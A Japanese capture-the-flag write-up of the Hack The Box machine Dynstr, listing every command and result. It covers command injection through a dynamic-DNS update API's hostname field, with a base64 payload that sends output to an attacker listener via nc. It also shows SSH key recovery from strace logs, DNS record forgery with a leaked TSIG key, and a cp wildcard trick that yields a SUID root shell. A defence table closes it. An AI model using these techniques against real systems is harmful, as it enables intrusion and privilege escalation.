Hack The BoxのWriteup(Dynstr)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Dynstr — 全実行コマンド・実行結果レポート
Nmap
22 / 53 / 80
DynDNS認証
dynadns:sndanyd
hostname注入
backtick + base64
strace解析
bindmgr SSH鍵
nsupdate
A + PTR
user.txt
cp wildcard
root.txt

ポートスキャン

Command
nmap -sC -sV -p- --min-rate 5000 10.129.54.200
Result
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2
53/tcp open  domain  ISC BIND 9.16.1
80/tcp open  http    Apache httpd 2.4.41
http-title: Dyna DNS

HTTP は Dyna DNS という Dynamic DNS サービスで、DNS サーバーも同じホスト上で動いている。ここから「DNS更新 API」と「BIND 設定」の両方が攻略対象になる。

名前解決の確認

Command
dig @10.129.54.200 dyna.htb ANY
Result
dyna.htb.      SOA  dns1.dyna.htb. hostmaster.dyna.htb.
dyna.htb.      NS   dns1.dyna.htb.
dns1.dyna.htb. A    127.0.0.1

Webサイト上では no-ip.htbdnsalias.htbdynamicdns.htb が Dynamic DNS 用ゾーンとして示されている。

Phase 2

Dynamic DNS API の確認

/nic/update の認証情報

公開ページの説明から、no-ip 互換の更新 API と Basic 認証情報 dynadns:sndanyd を確認する。

HTTP
GET /nic/update?hostname=test.no-ip.htb&myip=1.2.3.4
Authorization: Basic dynadns:sndanyd
Command
curl -s 'http://dynadns:sndanyd@10.129.54.200/nic/update?hostname=test.no-ip.htb&myip=1.2.3.4'
Result
good 1.2.3.4

hostname パラメータの着眼点

更新 API は hostname を受け取り、内部で DNS 更新処理に渡している。ここにシェルメタ文字を混ぜると、バッククォート内のコマンドが評価される。

ポイント: 直接 id | nc ... を入れると URL エンコードやドメイン検証で壊れやすい。コマンドを base64 化し、echo ... | base64 -d | bash をバッククォートで包むと安定する。
Phase 3

コマンドインジェクションから www-data へ

RCE の確認

Attacker listener
nc -lvnp 18053
Payload
echo 'id 2>&1 | nc -w 3 10.10.15.201 18053' | base64 -w0
curl -s 'http://dynadns:sndanyd@10.129.54.200/nic/update?hostname=`echo BASE64 | base64 -d | bash`.no-ip.htb&myip=10.10.15.201'
Listener result
uid=33(www-data) gid=33(www-data) groups=33(www-data)

support-case ファイルの発見

Command through RCE
ls -d /home/*/support-case-* 2>/dev/null
Result
/home/bindmgr/support-case-C62796521
Command through RCE
ls -la /home/bindmgr/support-case-C62796521
Result
C62796521-debugging.script   237141 bytes
C62796521-debugging.timing    29312 bytes
command-output-C62796521.txt   1175 bytes
strace-C62796521.txt          163048 bytes

www-data から /home/bindmgr/user.txt/home/bindmgr/.ssh/id_rsa は直接読めないが、support-case 配下の調査ログは読める。

strace から SSH 秘密鍵を復元

Interesting strace line
execve("/usr/bin/curl", ["curl", "-v", "-sk", "sftp://bindmgr@sftp.infra.dyna.htb/bindmgr-release.zip", "--pubkey", "/home/bindmgr/.ssh/id_rsa.pub"], ...)

strace-C62796521.txtC62796521-debugging.script には、curl が公開鍵認証で SFTP へ接続しようとした痕跡があり、read() バッファ内に OPENSSH PRIVATE KEY\n 付き文字列として残っている。

Rebuild key
grep -ao '-----BEGIN OPENSSH PRIVATE KEY-----.*-----END OPENSSH PRIVATE KEY-----' strace-C62796521.txt > bindmgr_id_rsa
sed -i 's/\\n/\n/g' bindmgr_id_rsa
chmod 600 bindmgr_id_rsa
ssh-keygen -y -f bindmgr_id_rsa
Result
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4p... bindmgr@nomen
注意: \n を実改行へ戻さないと、SSH は Load key ... error in libcrypto で失敗する。
Phase 4

DNS from 制限の回避と user.txt

authorized_keys の from 制限

Observation
cat /home/bindmgr/.ssh/authorized_keys
Result
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1... bindmgr@nomen

鍵だけでは足りない。SSH サーバー側は接続元 IP を逆引きし、そのホスト名が *.infra.dyna.htb に一致する場合だけこの鍵を許可する。

infra.key で A/PTR レコードを追加

Readable DNS config
cat /etc/bind/named.conf.local
cat /etc/bind/infra.key
Result
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; update-policy { grant infra-key zonesub ANY; }; };

key "infra-key" {
        algorithm hmac-sha256;
        secret "7qHH/eYXorN2ZNUM1dpLie5BmVstOw55LgEeacJZsao=";
};
nsupdate
nsupdate -k infra.key
> server 10.129.54.200
> update add test.infra.dyna.htb 86400 A 10.10.15.201
> send
> update add 201.15.10.10.in-addr.arpa 300 PTR test.infra.dyna.htb
> send

A レコードだけでは不十分で、接続元 IP から test.infra.dyna.htb へ戻る PTR レコードが必要になる。

bindmgr として SSH ログインし user.txt を読む

Command
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa -i bindmgr_id_rsa bindmgr@10.129.54.200 'id; cat /home/bindmgr/user.txt'
Result
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
511bd682a93e5b369c34f68271044218
user.txt — bindmgr@dynstr
511bd682a93e5b369c34f68271044218
Phase 5

権限昇格の調査

sudo 権限の確認

Command
sudo -l
Result
User bindmgr may run the following commands on dynstr:
    (ALL) NOPASSWD: /usr/local/bin/bindmgr.sh

bindmgr/usr/local/bin/bindmgr.sh をパスワードなしで root として実行できる。

bindmgr.sh の危険な cp

Relevant behavior
cd /tmp/workdir
sudo /usr/local/bin/bindmgr.sh
# script stages current directory files into /etc/bind/named.bindmgr
# internally similar to: cp .version * /etc/bind/named.bindmgr/

この形はカレントディレクトリのファイル名が cp のオプションとして解釈される余地を作る。そこで --preserve=mode という名前のファイルを作り、SUID ビット付きの bash を root 所有のステージング先へコピーさせる。

Phase 6

SUID bash 生成と root.txt

SUID bash をステージングさせる

Command
WORKDIR=$(mktemp -d /tmp/.bm_XXXXXX)
cd "$WORKDIR"
cp /bin/bash .
chmod u+s bash
touch -- '--preserve=mode'
echo 1 > .version
sudo -n /usr/local/bin/bindmgr.sh
Result
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/.bm_ImmqZP.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid.

最後の BIND 設定チェックは失敗してよい。重要なのは、その前に root 実行の cp/etc/bind/named.bindmgr/bash を作っていること。

bash -p で root.txt を読む

Command
/etc/bind/named.bindmgr/bash -p -c 'id; cat /root/root.txt'
Result
uid=1001(bindmgr) euid=0(root) gid=1001(bindmgr) groups=1001(bindmgr)
89f569bfc1a969c4851b8f3ac174898f
root.txt — root@dynstr
89f569bfc1a969c4851b8f3ac174898f
Summary

攻略サマリー & 教訓

取得フラグ

user.txt — bindmgr@dynstr
511bd682a93e5b369c34f68271044218
root.txt — root@dynstr
89f569bfc1a969c4851b8f3ac174898f

攻撃チェーン

#段階要点成果
1偵察HTTP / DNS / SSH を確認Dyna DNS と BIND の組み合わせを特定
2初期侵入/nic/updatehostname で OS コマンド注入www-data としてコマンド実行
3資格情報support-case の strace から SSH 秘密鍵を復元bindmgr の鍵を取得
4制限回避infra.key で A/PTR を追加from="*.infra.dyna.htb" を満たして SSH 成功
5userbindmgr としてログインuser.txt 取得
6権限昇格bindmgr.shcp .version *--preserve=mode を注入SUID root bash 生成
7rootbash -p で euid=0 を維持root.txt 取得

防御観点

問題対策
Web入力をシェルコマンドへ渡しているシェルを介さず安全な API を使い、許可リストで hostname を検証する。
support-case に秘密情報が残っているstrace や typescript に鍵や認証情報を残さない。取得後は権限と保存期間を厳格化する。
TSIG key が低権限から読めるDNS 更新鍵は必要最小権限のユーザーだけに読ませ、ゾーン更新範囲も限定する。
sudo スクリプトがワイルドカードを安全に扱っていないcp -- .version ./* dest/ のようにオプション終端を使い、信頼できないディレクトリで sudo スクリプトを動かさない。